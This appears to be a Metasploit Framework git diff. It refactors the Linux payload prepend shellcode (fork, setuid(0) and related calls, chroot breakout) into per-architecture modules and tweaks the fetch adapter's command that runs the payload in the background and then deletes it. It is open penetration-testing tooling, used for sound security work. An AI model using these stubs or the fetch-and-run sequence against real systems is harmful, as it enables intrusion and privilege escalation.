a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 142878c68798..fa17aeff1bb1 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -202,9 +202,9 @@ def _execute_win end def _execute_nix - cmds = "; chmod +x #{_remote_destination_nix}" - cmds << "; #{_remote_destination_nix} &" - cmds << ";rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] + cmds = ";chmod +x #{_remote_destination_nix}" + cmds << ";#{_remote_destination_nix}&" + cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] cmds end diff --git a/lib/msf/core/payload/linux.rb b/lib/msf/core/payload/linux.rb index 55216e622e29..4c1816a0f036 100644 --- a/lib/msf/core/payload/linux.rb +++ b/lib/msf/core/payload/linux.rb @@ -8,454 +8,13 @@ # ### module Msf::Payload::Linux - # # This mixin is chained within payloads that target the Linux platform. # It provides special prepends, to support things like chroot and setuid. # - def initialize(info = {}) - ret = super(info) - - register_advanced_options( - [ - Msf::OptBool.new('PrependFork', - [ - false, - "Prepend a stub that starts the payload in its own process via fork", - "false" - ] - ), - Msf::OptBool.new('PrependSetresuid', - [ - false, - "Prepend a stub that executes the setresuid(0, 0, 0) system call", - "false" - ] - ), - Msf::OptBool.new('PrependSetreuid', - [ - false, - "Prepend a stub that executes the setreuid(0, 0) system call", - "false" - ] - ), - Msf::OptBool.new('PrependSetuid', - [ - false, - "Prepend a stub that executes the setuid(0) system call", - "false" - ] - ), - Msf::OptBool.new('PrependSetresgid', - [ - false, - "Prepend a stub that executes the setresgid(0, 0, 0) system call", - "false" - ] - ), - Msf::OptBool.new('PrependSetregid', - [ - false, - "Prepend a stub that executes the setregid(0, 0) system call", - "false" - ] - ), - Msf::OptBool.new('PrependSetgid', - [ - false, - "Prepend a stub that executes the setgid(0) system call", - "false" - ] - ), - Msf::OptBool.new('PrependChrootBreak', - [ - false, - "Prepend a stub that will break out of a chroot (includes setreuid to root)", - "false" - ] - ), - Msf::OptBool.new('AppendExit', - [ - false, - "Append a stub that executes the exit(0) system call", - "false" - ] - ), - ], Msf::Payload::Linux) - - ret - end - - def apply_prepends(buf) - pre = '' - app = '' - - test_arch = [ *(self.arch) ] - - # Handle all x86 code here - if (test_arch.include?(ARCH_X86)) - - # Prepend - - if (datastore['PrependFork']) - pre << "\x6a\x02" + # pushb $0x2 # - "\x58" + # popl %eax # - "\xcd\x80" + # int $0x80 ; fork # - "\x85\xc0" + # test %eax,%eax # - "\x74\x06" + # jz loc_000f # - # loc_0009: - "\x31\xc0" + # xor %eax,%eax # - "\xb0\x01" + # movb $0x1,%al # - "\xcd\x80" + # int $0x80 ; exit # - # loc_000f: - "\xb0\x42" + # movb %0x42,%al # - "\xcd\x80" + # int $0x80 ; setsid # - - "\x6a\x02" + # pushb $0x2 # - "\x58" + # popl %eax # - "\xcd\x80" + # int $0x80 ; fork # - "\x85\xc0" + # test %eax,%eax # - "\x75\xed" # jnz loc_0009 # - end - - if (datastore['PrependSetresuid']) - # setresuid(0, 0, 0) - pre << "\x31\xc9" + # xorl %ecx,%ecx # - "\x31\xdb" + # xorl %ebx,%ebx # - "\xf7\xe3" + # mull %ebx # - "\xb0\xa4" + # movb $0xa4,%al # - "\xcd\x80" # int $0x80 # - end - - if (datastore['PrependSetreuid']) - # setreuid(0, 0) - pre << "\x31\xc9" + # xorl %ecx,%ecx # - "\x31\xdb" + # xorl %ebx,%ebx # - "\x6a\x46" + # pushl $0x46 # - "\x58" + # popl %eax # - "\xcd\x80" # int $0x80 # - end - - if (datastore['PrependSetuid']) - # setuid(0) - pre << "\x31\xdb" + # xorl %ebx,%ebx # - "\x6a\x17" + # pushl $0x17 # - "\x58" + # popl %eax # - "\xcd\x80" # int $0x80 # - end - - if (datastore['PrependSetresgid']) - # setresgid(0, 0, 0) - pre << "\x31\xc9" + # xorl %ecx,%ecx # - "\x31\xdb" + # xorl %ebx,%ebx # - "\xf7\xe3" + # mull %ebx # - "\xb0\xaa" + # movb $0xaa,%al # - "\xcd\x80" # int $0x80 # - end - - if (datastore['PrependSetregid']) - # setregid(0, 0) - pre << "\x31\xc9" + # xorl %ecx,%ecx # - "\x31\xdb" + # xorl %ebx,%ebx # - "\x6a\x47" + # pushl $0x47 # - "\x58" + # popl %eax # - "\xcd\x80" # int $0x80 # - end - - if (datastore['PrependSetgid']) - # setgid(0) - pre << "\x31\xdb" + # xorl %ebx,%ebx # - "\x6a\x2e" + # pushl $0x2e # - "\x58" + # popl %eax # - "\xcd\x80" # int $0x80 # - end - - if (datastore['PrependChrootBreak']) - # setreuid(0, 0) - pre << "\x31\xc9" + # xorl %ecx,%ecx # - "\x31\xdb" + # xorl %ebx,%ebx # - "\x6a\x46" + # pushl $0x46 # - "\x58" + # popl %eax # - "\xcd\x80" # int $0x80 # - - # break chroot - pre << "\x6a\x3d" + # pushl $0x3d # - # build dir str (ptr in ebx) - "\x89\xe3" + # movl %esp,%ebx # - # mkdir(dir) - "\x6a\x27" + # pushl $0x27 # - "\x58" + # popl %eax # - "\xcd\x80" + # int $0x80 # - # chroot(dir) - "\x89\xd9" + # movl %ebx,%ecx # - "\x58" + # popl %eax # - "\xcd\x80" + # int $0x80 # - # build ".." str (ptr in ebx) - "\x31\xc0" + # xorl %eax,%eax # - "\x50" + # pushl %eax # - - "\x66\x68\x2e\x2e" + # pushw $0x2e2e # - "\x89\xe3" + # movl %esp,%ebx # - # loop changing dir - "\x6a\x3d" + # pushl $0x1e # - "\x59" + # popl %ecx # - "\xb0\x0c" + # movb $0xc,%al # - "\xcd\x80" + # int $0x80 # - "\xe2\xfa" + # loop -6 # - # final chroot - "\x6a\x3d" + # pushl $0x3d # - "\x89\xd9" + # movl %ebx,%ecx # - "\x58" + # popl %eax # - "\xcd\x80" # int $0x80 # - end - - # Append exit(0) - - if (datastore['AppendExit']) - app << "\x31\xdb" + # xorl %ebx,%ebx # - "\x6a\x01" + # pushl $0x01 # - "\x58" + # popl %eax # - "\xcd\x80" # int $0x80 # - end - - # Handle all Power/CBEA code here - elsif (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ])) - - # Prepend - - if (datastore['PrependSetresuid']) - # setresuid(0, 0, 0) - pre << "\x3b\xe0\x01\xff" + # li r31,511 # - "\x7c\xa5\x2a\x78" + # xor r5,r5,r5 # - "\x7c\x84\x22\x78" + # xor r4,r4,r4 # - "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # - "\x38\x1f\xfe\xa5" + # addi r0,r31,-347 # - "\x44\xff\xff\x02" # sc # - end - - if (datastore['PrependSetreuid']) - # setreuid(0, 0) - pre << "\x3b\xe0\x01\xff" + # li r31,511 # - "\x7c\x84\x22\x78" + # xor r4,r4,r4 # - "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # - "\x38\x1f\xfe\x47" + # addi r0,r31,-441 # - "\x44\xff\xff\x02" # sc # - end - - if (datastore['PrependSetuid']) - # setuid(0) - pre << "\x3b\xe0\x01\xff" + # li r31,511 # - "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # - "\x38\x1f\xfe\x18" + # addi r0,r31,-488 # - "\x44\xff\xff\x02" # sc # - end - - if (datastore['PrependSetresgid']) - # setresgid(0, 0, 0) - pre << "\x3b\xe0\x01\xff" + # li r31,511 # - "\x7c\xa5\x2a\x78" + # xor r5,r5,r5 # - "\x7c\x84\x22\x78" + # xor r4,r4,r4 # - "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # - "\x38\x1f\xfe\xab" + # addi r0,r31,-341 # - "\x44\xff\xff\x02" # sc # - end - - if (datastore['PrependSetregid']) - # setregid(0, 0) - pre << "\x3b\xe0\x01\xff" + # li r31,511 # - "\x7c\x84\x22\x78" + # xor r4,r4,r4 # - "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # - "\x38\x1f\xfe\x48" + # addi r0,r31,-440 # - "\x44\xff\xff\x02" # sc # - end - if (datastore['PrependSetgid']) - # setgid(0) - pre << "\x3b\xe0\x01\xff" + # li r31,511 # - "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # - "\x38\x1f\xfe\x2f" + # addi r0,r31,-465 # - "\x44\xff\xff\x02" # sc # - end - - if (datastore['PrependChrootBreak']) - # setreuid(0, 0) - pre << "\x3b\xe0\x01\xff" + # li r31,511 # - "\x7c\x84\x22\x78" + # xor r4,r4,r4 # - "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # - "\x38\x1f\xfe\x47" + # addi r0,r31,-441 # - "\x44\xff\xff\x02" # sc # - - # EEK! unsupported... - end - - # Append exit(0) - - if (datastore['AppendExit']) - app << "\x3b\xe0\x01\xff" + # li r31,511 # - "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # - "\x38\x1f\xfe\x02" + # addi r0,r31,-510 # - "\x44\xff\xff\x02" # sc # - end - - elsif (test_arch.include?(ARCH_X64)) - - if (datastore['PrependFork']) - # if (fork()) { exit(0); }; setsid(); if (fork()) { exit(0); }; - pre << "\x6a\x39" # push 57 ; __NR_fork # - pre << "\x58" # pop rax # - pre << "\x0f\x05" # syscall # - pre << "\x48\x85\xc0" # test rax,rax # - pre << "\x74\x08" # jz loc_0012 # - # # loc_000a: # - pre << "\x48\x31\xff" # xor rdi,rdi # - pre << "\x6a\x3c" # push 60 ; __NR_exit # - pre << "\x58" # pop rax # - pre << "\x0f\x05" # syscall # - # # loc_0012: # - pre << "\x04\x70" # add al, 112 ; __NR_setsid # - pre << "\x0f\x05" # syscall # - pre << "\x6a\x39" # push 57 ; __NR_fork # - pre << "\x58" # pop rax # - pre << "\x0f\x05" # syscall # - pre << "\x48\x85\xc0" # test rax,rax # - pre << "\x75\xea" # jnz loc_000a # - end - - if (datastore['PrependSetresuid']) - # setresuid(0, 0, 0) - pre << "\x48\x31\xff" # xor rdi,rdi # - pre << "\x48\x89\xfe" # mov rsi,rdi # - pre << "\x6a\x75" # push 0x75 # - pre << "\x58" # pop rax # - pre << "\x0f\x05" # syscall # - end - - if (datastore['PrependSetreuid']) - # setreuid(0, 0) - pre << "\x48\x31\xff" # xor rdi,rdi # - pre << "\x48\x89\xfe" # mov rsi,rdi # - pre << "\x48\x89\xf2" # mov rdx,rsi # - pre << "\x6a\x71" # push 0x71 # - pre << "\x58" # pop rax # - pre << "\x0f\x05" # syscall # - end - - if (datastore['PrependSetuid']) - # setuid(0) - pre << "\x48\x31\xff" # xor rdi,rdi # - pre << "\x6a\x69" # push 0x69 # - pre << "\x58" # pop rax # - pre << "\x0f\x05" # syscall # - end - - if (datastore['PrependSetresgid']) - # setresgid(0, 0, 0) - pre << "\x48\x31\xff" # xor rdi,rdi # - pre << "\x48\x89\xfe" # mov rsi,rdi # - pre << "\x6a\x77" # push 0x77 # - pre << "\x58" # pop rax # - pre << "\x0f\x05" # syscall # - end - - if (datastore['PrependSetregid']) - # setregid(0, 0) - pre << "\x48\x31\xff" # xor rdi,rdi # - pre << "\x48\x89\xfe" # mov rsi,rdi # - pre << "\x48\x89\xf2" # mov rdx,rsi # - pre << "\x6a\x72" # push 0x72 # - pre << "\x58" # pop rax # - pre << "\x0f\x05" # syscall # - end - - if (datastore['PrependSetgid']) - # setgid(0) - pre << "\x48\x31\xff" # xor rdi,rdi # - pre << "\x6a\x6a" # push 0x6a # - pre << "\x58" # pop rax # - pre << "\x0f\x05" # syscall # - end - - if (datastore['PrependChrootBreak']) - - # setreuid(0, 0) - pre << "\x48\x31\xff" # xor rdi,rdi # - pre << "\x48\x89\xfe" # mov rsi,rdi # - pre << "\x48\x89\xf8" # mov rax,rdi # - pre << "\xb0\x71" # mov al,0x71 # - pre << "\x0f\x05" # syscall # - - # generate temp dir name - pre << "\x48\xbf" # mov rdi, # - pre << Rex::Text.rand_text_alpha(8) # random # - pre << "\x56" # push rsi # - pre << "\x57" # push rdi # - - # mkdir(random,0755) - pre << "\x48\x89\xe7" # mov rdi,rsp # - pre << "\x66\xbe\xed\x01" # mov si,0755 # - pre << "\x6a\x53" # push 0x53 # - pre << "\x58" # pop rax # - pre << "\x0f\x05" # syscall # - - # chroot(random) - pre << "\x48\x31\xd2" # xor rdx,rdx # - pre << "\xb2\xa1" # mov dl,0xa1 # - pre << "\x48\x89\xd0" # mov rax,rdx # - pre << "\x0f\x05" # syscall # - - # build .. (ptr in rdi ) - pre << "\x66\xbe\x2e\x2e" # mov si,0x2e2e # - pre << "\x56" # push rsi # - pre << "\x48\x89\xe7" # mov rdi,rsp # - - # loop chdir(..) 69 times - # syscall tend to modify rcx can't use loop... - pre << "\x6a\x45" # push 0x45 # - pre << "\x5b" # pop rbx # - pre << "\x6a\x50" # push 0x50 # - pre << "\x58" # pop rax # - pre << "\x0f\x05" # syscall # - pre << "\xfe\xcb" # dec bl # - pre << "\x75\xf7" # jnz -7 # - - # chroot (.) (which should be /) - pre << "\x6a\x2e" # push . (0x2e) # - pre << "\x48\x89\xe7" # mov rdi,rsp # - pre << "\x48\x89\xd0" # mov rax,rdx # - pre << "\x0f\x05" # syscall # - - end - - # Append exit(0) - - if (datastore['AppendExit']) - app << "\x48\x31\xff" # xor rdi,rdi # - app << "\x6a\x3c" # push 0x3c # - app << "\x58" # pop rax # - app << "\x0f\x05" # syscall # - end - - elsif (test_arch.include?(ARCH_ARMLE)) - - if (datastore['PrependSetuid']) - # setuid(0) - pre << "\x00\x00\x20\xe0" # eor r0, r0, r0 # - pre << "\x17\x70\xa0\xe3" # mov r7, #23 # - pre << "\x00\x00\x00\xef" # svc # - end - - if (datastore['PrependSetresuid']) - # setresuid(ruid=0, euid=0, suid=0) - pre << "\x00\x00\x20\xe0" # eor r0, r0, r0 # - pre << "\x01\x10\x21\xe0" # eor r1, r1, r1 # - pre << "\x02\x20\x22\xe0" # eor r2, r2, r2 # - pre << "\xa4\x70\xa0\xe3" # mov r7, #0xa4 # - pre << "\x00\x00\x00\xef" # svc # - end - end - - return (pre + buf + app) + def initialize(info = {}) + super(info) end - end diff --git a/lib/msf/core/payload/linux/aarch64/prepends.rb b/lib/msf/core/payload/linux/aarch64/prepends.rb new file mode 100644 index 000000000000..e03ad3422b26 --- /dev/null +++ b/lib/msf/core/payload/linux/aarch64/prepends.rb @@ -0,0 +1,42 @@ +# +# Linux aarch64 prepends +# +module Msf::Payload::Linux::Aarch64::Prepends + include Msf::Payload::Linux::Prepends + + def prepends_order + %w[PrependSetresuid PrependSetreuid PrependSetuid] + end + + def appends_order + %w[] + end + + def prepends_map + { + # 'PrependFork' => "", + + # setuid(0) + 'PrependSetuid' => "\xe0\x03\x1f\xaa" + # mov x0, xzr + "\x48\x12\x80\xd2" + # mov x8, #0x92 + "\x01\x00\x00\xd4", # svc 0x0 + + # setreuid(0, 0) + 'PrependSetreuid' => "\xe0\x03\x1f\xaa" + # mov x0, xzr + "\xe1\x03\x1f\xaa" + # mov x1, xzr + "\x28\x12\x80\xd2" + # mov x8, #0x91 + "\x01\x00\x00\xd4", # svc 0x0 + + # setresuid(0, 0, 0) + 'PrependSetresuid' => "\xe0\x03\x1f\xaa" + # mov x0, xzr + "\xe1\x03\x1f\xaa" + # mov x1, xzr + "\xe2\x03\x1f\xaa" + # mov x2, xzr + "\x68\x12\x80\xd2" + # mov x8, #0x93 + "\x01\x00\x00\xd4" # svc 0x0 + } + end + + def appends_map + {} + end +end diff --git a/lib/msf/core/payload/linux/armle/prepends.rb b/lib/msf/core/payload/linux/armle/prepends.rb new file mode 100644 index 000000000000..2e89f6c428fe --- /dev/null +++ b/lib/msf/core/payload/linux/armle/prepends.rb @@ -0,0 +1,37 @@ +# +# Linux armle prepends +# +module Msf::Payload::Linux::Armle::Prepends + include Msf::Payload::Linux::Prepends + + def prepends_order + %w[PrependSetresuid PrependSetuid] + end + + def appends_order + %w[] + end + + def prepends_map + { + # 'PrependFork' => "", + + # + # setuid(0) + 'PrependSetuid' => "\x00\x00\x20\xe0" + # eor r0, r0, r0 # + "\x17\x70\xa0\xe3" + # mov r7, #23 # + "\x00\x00\x00\xef", # svc # + + # setresuid(0, 0, 0) + 'PrependSetresuid' => "\x00\x00\x20\xe0" + # eor r0, r0, r0 # + "\x01\x10\x21\xe0" + # eor r1, r1, r1 # + "\x02\x20\x22\xe0" + # eor r2, r2, r2 # + "\xa4\x70\xa0\xe3" + # mov r7, #0xa4 # + "\x00\x00\x00\xef" # svc # + } + end + + def appends_map + {} + end +end diff --git a/lib/msf/core/payload/linux/bind_tcp.rb b/lib/msf/core/payload/linux/bind_tcp.rb index 457071059a38..5b8c1a941710 100644 --- a/lib/msf/core/payload/linux/bind_tcp.rb +++ b/lib/msf/core/payload/linux/bind_tcp.rb @@ -13,7 +13,7 @@ module Msf module Payload::Linux::BindTcp include Msf::Payload::TransportConfig - include Msf::Payload::Linux + include Msf::Payload::Linux::X86::Prepends include Msf::Payload::Linux::SendUUID # diff --git a/lib/msf/core/payload/linux/ppc/prepends.rb b/lib/msf/core/payload/linux/ppc/prepends.rb new file mode 100644 index 000000000000..0ea73cf42c64 --- /dev/null +++ b/lib/msf/core/payload/linux/ppc/prepends.rb @@ -0,0 +1,75 @@ +# +# Linux ppc prepends +# +module Msf::Payload::Linux::Ppc::Prepends + include Msf::Payload::Linux::Prepends + + def prepends_order + %w[PrependSetresuid PrependSetreuid PrependSetuid PrependSetresgid PrependSetregid PrependSetgid] + end + + def appends_order + %w[AppendExit] + end + + def prepends_map + { + # 'PrependFork' => "", + + # setresuid(0, 0, 0) + 'PrependSetresuid' => "\x3b\xe0\x01\xff" + # li r31,511 # + "\x7c\xa5\x2a\x78" + # xor r5,r5,r5 # + "\x7c\x84\x22\x78" + # xor r4,r4,r4 # + "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # + "\x38\x1f\xfe\xa5" + # addi r0,r31,-347 # + "\x44\xff\xff\x02", # sc # + + # setreuid(0, 0) + 'PrependSetreuid' => "\x3b\xe0\x01\xff" + # li r31,511 # + "\x7c\x84\x22\x78" + # xor r4,r4,r4 # + "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # + "\x38\x1f\xfe\x47" + # addi r0,r31,-441 # + "\x44\xff\xff\x02", # sc # + + # setuid(0) + 'PrependSetuid' => "\x3b\xe0\x01\xff" + # li r31,511 # + "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # + "\x38\x1f\xfe\x18" + # addi r0,r31,-488 # + "\x44\xff\xff\x02", # sc # + + # setresgid(0, 0, 0) + 'PrependSetresgid' => "\x3b\xe0\x01\xff" + # li r31,511 # + "\x7c\xa5\x2a\x78" + # xor r5,r5,r5 # + "\x7c\x84\x22\x78" + # xor r4,r4,r4 # + "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # + "\x38\x1f\xfe\xab" + # addi r0,r31,-341 # + "\x44\xff\xff\x02", # sc # + + # setregid(0, 0) + 'PrependSetregid' => "\x3b\xe0\x01\xff" + # li r31,511 # + "\x7c\x84\x22\x78" + # xor r4,r4,r4 # + "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # + "\x38\x1f\xfe\x48" + # addi r0,r31,-440 # + "\x44\xff\xff\x02", # sc # + + # setgid(0) + 'PrependSetgid' => "\x3b\xe0\x01\xff" + # li r31,511 # + "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # + "\x38\x1f\xfe\x2f" + # addi r0,r31,-465 # + "\x44\xff\xff\x02" # sc # + + # setreuid(0, 0) = break chroot + # 'PrependChrootBreak' => + } + end + + def appends_map + { + # exit(0) + 'AppendExit' => "\x3b\xe0\x01\xff" + # li r31,511 # + "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # + "\x38\x1f\xfe\x02" + # addi r0,r31,-510 # + "\x44\xff\xff\x02" # sc # + } + end +end diff --git a/lib/msf/core/payload/linux/prepends.rb b/lib/msf/core/payload/linux/prepends.rb new file mode 100644 index 000000000000..a20a120ae362 --- /dev/null +++ b/lib/msf/core/payload/linux/prepends.rb @@ -0,0 +1,45 @@ +# +# Linux Preprends shared logic. +# +module Msf::Payload::Linux::Prepends + def initialize(info) + super(info) + register_prepend_options + end + + def register_prepend_options + all_options = { + 'PrependFork' => [false, 'Prepend a stub that starts the payload in its own process via fork', 'false'], + 'PrependSetresuid' => [false, 'Prepend a stub that executes the setresuid(0, 0, 0) system call', 'false'], + 'PrependSetreuid' => [false, 'Prepend a stub that executes the setreuid(0, 0) system call', 'false'], + 'PrependSetuid' => [false, 'Prepend a stub that executes the setuid(0) system call', 'false'], + 'PrependSetresgid' => [false, 'Prepend a stub that executes the setresgid(0, 0, 0) system call', 'false'], + 'PrependSetregid' => [false, 'Prepend a stub that executes the setregid(0, 0) system call', 'false'], + 'PrependSetgid' => [false, 'Prepend a stub that executes the setgid(0) system call', 'false'], + 'PrependChrootBreak' => [false, 'Prepend a stub that will break out of a chroot (includes setreuid to root)', 'false'], + 'AppendExit' => [false, 'Prepend a stub that will break out of a chroot (includes setreuid to root)', 'false'] + } + avaiable_options = [] + for prepend in prepends_order + avaiable_options.append(Msf::OptBool.new(prepend, all_options.fetch(prepend))) + end + for append in appends_order + avaiable_options.append(Msf::OptBool.new(append, all_options.fetch(append))) + end + register_advanced_options(avaiable_options, Msf::Payload::Linux) + end + + def apply_prepends(buf) + pre = '' + app = '' + for name in prepends_order.each + pre << prepends_map.fetch(name) if datastore[name] + end + for name in appends_order.each + app << appends_map.fetch(name) if datastore[name] + end + pre.force_encoding('ASCII-8BIT') + + buf.force_encoding('ASCII-8BIT') + + app.force_encoding('ASCII-8BIT') + end +end diff --git a/lib/msf/core/payload/linux/reverse_tcp_x86.rb b/lib/msf/core/payload/linux/reverse_tcp_x86.rb index 738645343fe7..f99e08864c23 100644 --- a/lib/msf/core/payload/linux/reverse_tcp_x86.rb +++ b/lib/msf/core/payload/linux/reverse_tcp_x86.rb @@ -12,7 +12,7 @@ module Msf module Payload::Linux::ReverseTcp_x86 include Msf::Payload::TransportConfig - include Msf::Payload::Linux + include Msf::Payload::Linux::X86::Prepends include Msf::Payload::Linux::SendUUID # diff --git a/lib/msf/core/payload/linux/x64/prepends.rb b/lib/msf/core/payload/linux/x64/prepends.rb new file mode 100644 index 000000000000..bffc48ba48fd --- /dev/null +++ b/lib/msf/core/payload/linux/x64/prepends.rb @@ -0,0 +1,132 @@ +# +# Linux x64 Prepends file +# +module Msf::Payload::Linux::X64::Prepends + include Msf::Payload::Linux::Prepends + def prepends_order + %w[PrependFork PrependSetresuid PrependSetreuid PrependSetuid] + end + + def appends_order + %w[] + end + + def prepends_map + { + 'PrependFork' => "\x6a\x39" + # push 57 ; __NR_fork # + "\x58" + # pop rax # + "\x0f\x05" + # syscall # + "\x48\x85\xc0" + # test rax,rax # + "\x74\x08" + # jz loc_0012 # + # loc_000a: # + "\x48\x31\xff" + # xor rdi,rdi # + "\x6a\x3c" + # push 60 ; __NR_exit # + "\x58" + # pop rax # + "\x0f\x05" + # syscall # + # loc_0012: # + "\x04\x70" + # add al, 112 ; __NR_setsid # + "\x0f\x05" + # syscall # + "\x6a\x39" + # push 57 ; __NR_fork # + "\x58" + # pop rax # + "\x0f\x05" + # syscall # + "\x48\x85\xc0" + # test rax,rax # + "\x75\xea", # jnz loc_000a # + + # setresuid(0, 0, 0) + 'PrependSetresuid' => "\x48\x31\xff" + # xor rdi,rdi # + "\x48\x89\xfe" + # mov rsi,rdi # + "\x6a\x75" + # push 0x75 # + "\x58" + # pop rax # + "\x0f\x05", # syscall # + + # setreuid(0, 0) + 'PrependSetreuid' => "\x48\x31\xff" + # xor rdi,rdi # + "\x48\x89\xfe" + # mov rsi,rdi # + "\x48\x89\xf2" + # mov rdx,rsi # + "\x6a\x71" + # push 0x71 # + "\x58" + # pop rax # + "\x0f\x05", # syscall # + + # setuid(0) + 'PrependSetuid' => "\x48\x31\xff" + # xor rdi,rdi # + "\x6a\x69" + # push 0x69 # + "\x58" + # pop rax # + "\x0f\x05", # syscall # + + # setresgid(0, 0, 0) + 'PrependSetresgid' => "\x48\x31\xff" + # xor rdi,rdi # + "\x48\x89\xfe" + # mov rsi,rdi # + "\x6a\x77" + # push 0x77 # + "\x58" + # pop rax # + "\x0f\x05", # syscall # + + # setregid(0, 0) + 'PrependSetregid' => "\x48\x31\xff" + # xor rdi,rdi # + "\x48\x89\xfe" + # mov rsi,rdi # + "\x48\x89\xf2" + # mov rdx,rsi # + "\x6a\x72" + # push 0x72 # + "\x58" + # pop rax # + "\x0f\x05", # syscall # + + # setgid(0) + 'PrependSetgid' => "\x48\x31\xff" + # xor rdi,rdi # + "\x6a\x6a" + # push 0x6a # + "\x58" + # pop rax # + "\x0f\x05", # syscall # + + # setreuid(0, 0) + break chroot + 'PrependChrootBreak' => "\x48\x31\xff" + # xor rdi,rdi # + "\x48\x89\xfe" + # mov rsi,rdi # + "\x48\x89\xf8" + # mov rax,rdi # + "\xb0\x71" + # mov al,0x71 # + "\x0f\x05" + # syscall # + # generate temp dir name + "\x48\xbf#{Rex::Text.rand_text_alpha(8)}" + # mov rdi, # + "\x56" + # push rsi # + "\x57" + # push rdi # + # mkdir(random,0755) + "\x48\x89\xe7" + # mov rdi,rsp # + "\x66\xbe\xed\x01" + # mov si,0755 # + "\x6a\x53" + # push 0x53 # + "\x58" + # pop rax # + "\x0f\x05" + # syscall # + + # chroot(random) + "\x48\x31\xd2" + # xor rdx,rdx # + "\xb2\xa1" + # mov dl,0xa1 # + "\x48\x89\xd0" + # mov rax,rdx # + "\x0f\x05" + # syscall # + + # build .. (ptr in rdi ) + "\x66\xbe\x2e\x2e" + # mov si,0x2e2e # + "\x56" + # push rsi # + "\x48\x89\xe7" + # mov rdi,rsp # + + # loop chdir(..) 69 times + # syscall tend to modify rcx can't use loop... + "\x6a\x45" + # push 0x45 # + "\x5b" + # pop rbx # + "\x6a\x50" + # push 0x50 # + "\x58" + # pop rax # + "\x0f\x05" + # syscall # + "\xfe\xcb" + # dec bl # + "\x75\xf7" + # jnz -7 # + + # chroot (.) (which should be /) + "\x6a\x2e" + # push . (0x2e) # + "\x48\x89\xe7" + # mov rdi,rsp # + "\x48\x89\xd0" + # mov rax,rdx # + "\x0f\x05" + } # syscall # + end + + def appends_map + { + # exit(0) + 'AppendExit' => "\x48\x31\xff" + # xor rdi,rdi # + "\x6a\x3c" + # push 0x3c # + "\x58" + # pop rax # + "\x0f\x05" # syscall # + } + end +end diff --git a/lib/msf/core/payload/linux/x64/reverse_sctp_x64.rb b/lib/msf/core/payload/linux/x64/reverse_sctp.rb similarity index 98% rename from lib/msf/core/payload/linux/x64/reverse_sctp_x64.rb rename to lib/msf/core/payload/linux/x64/reverse_sctp.rb index 6df4a3fc2d48..ac71bdfccd2f 100644 --- a/lib/msf/core/payload/linux/x64/reverse_sctp_x64.rb +++ b/lib/msf/core/payload/linux/x64/reverse_sctp.rb @@ -9,10 +9,10 @@ module Msf # ### -module Payload::Linux::ReverseSctp_x64 +module Payload::Linux::X64::ReverseSctp include Msf::Payload::TransportConfig - include Msf::Payload::Linux + include Msf::Payload::Linux::X64::Prepends # # Generate the first stage diff --git a/lib/msf/core/payload/linux/x64/reverse_tcp_x64.rb b/lib/msf/core/payload/linux/x64/reverse_tcp.rb similarity index 98% rename from lib/msf/core/payload/linux/x64/reverse_tcp_x64.rb rename to lib/msf/core/payload/linux/x64/reverse_tcp.rb index 4bc5b6eb7502..3f89f68a7144 100644 --- a/lib/msf/core/payload/linux/x64/reverse_tcp_x64.rb +++ b/lib/msf/core/payload/linux/x64/reverse_tcp.rb @@ -9,10 +9,10 @@ module Msf # ### -module Payload::Linux::ReverseTcp_x64 +module Payload::Linux::X64::ReverseTcp include Msf::Payload::TransportConfig - include Msf::Payload::Linux + include Msf::Payload::Linux::X64::Prepends # # Generate the first stage diff --git a/lib/msf/core/payload/linux/x86/prepends.rb b/lib/msf/core/payload/linux/x86/prepends.rb new file mode 100644 index 000000000000..27462e9626c4 --- /dev/null +++ b/lib/msf/core/payload/linux/x86/prepends.rb @@ -0,0 +1,119 @@ +# +# Linux x86 prepends +# +module Msf::Payload::Linux::X86::Prepends + include Msf::Payload::Linux::Prepends + def prepends_order + %w[PrependFork PrependSetresuid PrependSetreuid PrependSetuid PrependSetresgid PrependSetregid PrependSetgid PrependChrootBreak] + end + + def appends_order + %w[AppendExit] + end + + def prepends_map + { + 'PrependFork' => "\x6a\x02" + # pushb $0x2 # + "\x58" + # popl %eax # + "\xcd\x80" + # int $0x80 ; fork # + "\x85\xc0" + # test %eax,%eax # + "\x74\x06" + # jz loc_000f # + # loc_0009: + "\x31\xc0" + # xor %eax,%eax # + "\xb0\x01" + # movb $0x1,%al # + "\xcd\x80" + # int $0x80 ; exit # + # loc_000f: + "\xb0\x42" + # movb %0x42,%al # + "\xcd\x80" + # int $0x80 ; setsid # + "\x6a\x02" + # pushb $0x2 # + "\x58" + # popl %eax # + "\xcd\x80" + # int $0x80 ; fork # + "\x85\xc0" + # test %eax,%eax # + "\x75\xed", # jnz loc_0009 # + + # setresuid(0, 0, 0) + 'PrependSetresuid' => "\x31\xc9" + # xorl %ecx,%ecx # + "\x31\xdb" + # xorl %ebx,%ebx # + "\xf7\xe3" + # mull %ebx # + "\xb0\xa4" + # movb $0xa4,%al # + "\xcd\x80", # int $0x80 # + + # setreuid(0, 0) + 'PrependSetreuid' => "\x31\xc9" + # xorl %ecx,%ecx # + "\x31\xdb" + # xorl %ebx,%ebx # + "\x6a\x46" + # pushl $0x46 # + "\x58" + # popl %eax # + "\xcd\x80", # int $0x80 # + + # setuid(0) + 'PrependSetuid' => "\x31\xdb" + # xorl %ebx,%ebx # + "\x6a\x17" + # pushl $0x17 # + "\x58" + # popl %eax # + "\xcd\x80", # int 